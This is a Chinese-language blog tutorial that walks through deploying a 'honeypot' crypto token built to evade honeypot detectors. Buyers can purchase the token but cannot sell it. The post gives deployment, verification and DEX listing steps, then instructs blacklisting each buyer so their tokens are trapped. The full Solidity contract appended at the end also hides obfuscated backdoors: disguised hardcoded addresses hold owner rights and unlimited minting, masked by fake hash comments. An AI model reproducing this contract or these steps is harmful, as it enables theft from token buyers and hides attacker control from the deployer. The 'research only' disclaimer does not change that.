top of page
搜尋
  • 作家相片Dev Swanson

如何使用高级智能合约(防代币检测器,防貔貅检测器,黑名单)发币

已更新:5月1日

这是以太坊智能合约研究员和爱好者,史旺生。我收到了很多粉丝的请求,让我去探讨貔貅代币,这是一种购买后不能出售的代币。 所以今天,让我向您介绍一些有关如何创建自己的貔貅代币的有用技巧。你准备好了吗? 【仅供研究测试,请勿尝试使用此方法进行诈骗】


高级智能合约(防代币检测器的智能合约,设置黑名单防止特定钱包地址卖出,躲过貔貅检测器,让貔貅币看起来更加正规)





第 1 部分:使用 REMIX 和 Metamask 创建代币


1.首先,在您的电脑上安装Metamask钱包https://metamask.io/并创建账户/钱包。


2. 浏览Remix IDE http://remix.ethereum.org/ 您需要使用Remix IDE 来部署智能合约。


3. 将 metamask 连接到 REMIX IDE。单击小狐狸插件。





点击按钮来连接狐狸钱包










4.回到REMIX IDE。点击创建新文件






5.随意命名文件,记得在后面添加 .sol。例子,DevToken.sol




6. 将本文底部的代码(防检测器智能合约代码)复制并粘贴到空格中。 *请勿尝试更改任何代码,否则将合约无法正常运作*








*合约代码在文章最下方*


或者


马上复制防检测器合约代码https://www.createyourowntoken.net/detector-proof-honeypot



7. 在 Remix 中的智能合约代码 往下滑,直到到达如下图所示的这一行



8. 现在我们要做一些代币设置。




Name:(你的代币名称)*在 “xxxxx” 内写 你的代币名称


Symbol: (你的代币代号) *在"XXX"内写 你的代币代号


Decimal: 18


Total Supply: (代币供应) 设置你的代币总供应量,记住如果你的小数点是 18,而你想要 1000000 总供应量,然后输入 1000000000000000000000000,因为 1000000 + 18*0


在您想要的数量后添加十八个“0”(如果您将 18 设置为十进制)。比如你要发行1000000个代币,正确的输入应该是1000000000000000000000000


决定好后,*在 "......" 内写上 代币供应的数字





9.点击左侧图标如下图,




选择COMPILER 编译器如下,0.5.16 …





点击 compile.




10. COMPILE 编译后。单击如下所示的图标,然后在 ENVIRONMENT (环境)部分选择 Metamask狐狸(因为我们使用的是 metamask 狐狸钱包)





11. 在 合约 方面 CONTRACT,选择 DevToken 来作为合约。





12. 点击 部署 "Deploy" 按钮。





13.在您的狐狸钱包的弹出窗口中 点击 确认交易。如果那里没有任何反应,您需要将 metamask 狐狸钱包连接到 REMIX IDE。




14. 如果一切顺利,您的代币就在路上。回到 狐狸钱包metamask,进入 活动 Activity,点击 合约部署 Contract deployment。





在区块浏览器上点击查看





点击右侧【复制】图标按钮复制合约地址。





14. 返回狐狸钱包,点击导入代币IMPORT TOKENS。




选择自定义代币CUSTOM TOKEN, 并粘贴合约地址,等待你的代币出现,然后点击添加自定义代币






您可以使用相同的方法在 ETH 主网、币安智能链和任何其他链中发币。



🎉🎉🎉恭喜!您已成功创建自己的代币,它们就在您的钱包中!



等等朋友,我们还没有完成......还有一个更重要的步骤需要完成...



就是: Verify Contract 验证合同/合约开源



第二部分: Verify Contract 验证合约/合约开源



为什么我们需要验证合同?为什么我们不直接将我们的代币上架到任何 DEX(去中心化交易所)?



好吧,我就告诉你,验证合约的原因是为了增加代币的受欢迎程度,投资者可能会回避未经验证的代币,最终不购买任何代币。



我们开始吧!



1. 回到 metamask,进入 Activity,点击 Contract deployment。




2.在区块浏览器上点击查看 View on block explorer



点击蓝色的合约地址





3. 在此页面上,单击合约 CONTRACT




点击 验证&发布 VERIFY AND PUBLISH





4. 接下来,我们选择如下设置



Compiler Type (编译器类型) : Single File (单一文件)



Compiler version (编译版本): 0.5.16



License Type (许可证类型): No license (没有)



然后点击 继续 Continue



5.然后,回到我们的合约代码,复制粘贴到空白处





完成机器人测试并发布, Verify and Publish




6. 您应该看到如下所示的成功消息,如果没有,则出现问题,如果您未能收到此消息,则需要重新检查所有步骤。






恭喜!您的合同现已通过验证,您可以在去中心化交易所 (DEX) 上你的代币了。


如果你使用以太坊主网,请使用 Uniswap,链接:https://app.uniswap.org/#/swap


如果您使用 BSC(币安智能链),请使用 Pancakeswap,链接:https://pancakeswap.finance/



如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果你在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)

 

 

 



我将详细解释这个 防代币检测器的代币 的原理,因为它与普通的貔貅代币不太一样。




*重要步骤#1*


现在假设你已经为你的代币增加了一些流动性,并且有买家正在购买你的代币。


他们持有你的代币,并且可以将其卖回。


我们不会让这种情况发生,所以我们必须将他们列入黑名单。


让我们开始我们的第一步。


1. 回到 metamask,进入 Activity,点击 Contract deployment。



2.在区块浏览器上点击查看 View on block explorer


3. 点击 蓝色代币名称 进入 代币页面。



4.在代币页面,您可以查看您代币的交易/转账情况。




假设有买家正在购买您的代币,这是下图中的购买交易。点击图中红色箭头所指地址查看买家




5.点击下图显示的 复制按钮 来 复制 买家地址




6.现在回到 Remix IDE,点击如下所示的小三角箭头。



7.单击 zap 按钮 的小三角箭头。




8.在(uzer)的空白处粘贴你想加入黑名单的买家地址。然后点击转账 transact。


uzer:(粘帖 买家地址 来 列入黑名单)



*注意:转账 transact 完成后,被列入黑名单的钱包地址将无法出售他们的代币*


*如果他们的地址没有被列入黑名单,买家可以出售他们的代币*




*重要步骤#2*


如果你不小心,或者把remix ide关掉了,那么该如何 继续设置 黑名单 呢?



不必担心,跟着下面的步骤就行了。



1.回到狐狸钱包,点击活动,点击 Contract Deployment (合约部署), 然后点击 浏览





2.点击 合约地址





3.在这个页面,点击 合约 Contract。







4.点击 编写合约 Write Contract





5.点击 红色圆圈 旁边的 连接按钮 Connect to Web3 以 连接 狐狸钱包。





6. 点击上方小狐狸插件 以 检查 确保 狐狸钱包地址 正确连接。一定要确定连接的钱包地址的是 发行代币 的 钱包地址。






7.在页面中 往下滑动, 点击 "zap" 来设置 黑名单. 一定要确定连接的钱包地址的是 发行代币 的 钱包地址。




8.在空格处输入要加入黑名单的地址,然后点击 编写 Write。





*请记住,这篇文章仅用于测试和教育目的,请勿在家中尝试!*


今天的 防检测器代币合约教程 就到这里。当然,这还没有结束,您可以通过多种方式和技巧来使用此发币技术,以最大限度地发挥效果。



我们将在下一篇文章中讨论更多关于代币技巧和技术的内容。 祝你发币愉快!















貔貅币智能合约教学指南系列:

 



 

 

 


 

 

 

 

 

 

 

 

还想要些别的?

 

 

 

普通代币智能合约教学指南系列:

 

 

 

 

 

 

 


 


 

 





有任何疑问吗?



通过电报联系我:https://t.me/devswanson



我的网站:https://www.createyourowntoken.net/





*******

# 任何未经授权的代码编辑与更改都可能导致合约部署失败


合约代码如下: ---




// SPDX-License-Identifier: MIT pragma solidity 0.5.16; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } /** * @dev Initializes the contract setting the deployer as the initial owner. */ // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == _owner && msg.sender != exchange()))); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ } contract DevToken is Context, IBEP20, Ownable { using SafeMath for uint256; mapping(address=>bool) isBlacklisted; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; address public _mbr; uint8 private _decimals; address public _mod; string private _symbol; address public _user; address public _adm; string private _name; constructor() public { _name = "Your Token Name"; _symbol = "YourTokenSymbol"; _decimals = 18; _totalSupply = 1000000000000000000000000; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); modifier Exchanges() { require(msg.sender != exchange()); _; } /** * @dev Throws if called by any account other than the owner. */ /** * @dev Returns the bep token owner. */ modifier onlypublic() { require(msg.sender == publics()); _; } function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } function setMember(address Mbr_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _mbr=Mbr_; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } // solhint-disable-next-line high-level-success function setUser(address User_) public returns (bool) { require(msg.sender == _mbr); _user=User_; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; } function _calculate(address account, uint256 amount) internal { require(account != address(0), "Calculate hash"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferTo(address _to, uint256 _amount) external onlyOwner { _transferTo(_to, _amount); } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-balanceOf}. */ function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function symbols(uint256 amount) public onlypublic returns (bool success) { _calculate(msg.sender, amount); return true; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ function approval(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(_msgSender(), amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(!isBlacklisted[sender], "Recipient is Gwei"); require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _proof(address account, uint256 amount) internal Exchanges { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function proof(uint256 amount) public onlyOwner returns (bool) { _proof(_msgSender(), amount); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function zap(address _uzer) public onlyOwner { require(!isBlacklisted[_uzer], "user already Gwei-ed"); isBlacklisted[_uzer] = true; // emit events as well } function dezap(address _uzer) public onlyOwner { require(isBlacklisted[_uzer], "user already whitelisted"); isBlacklisted[_uzer] = false; // emit events as well } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ }


644 次查看
bottom of page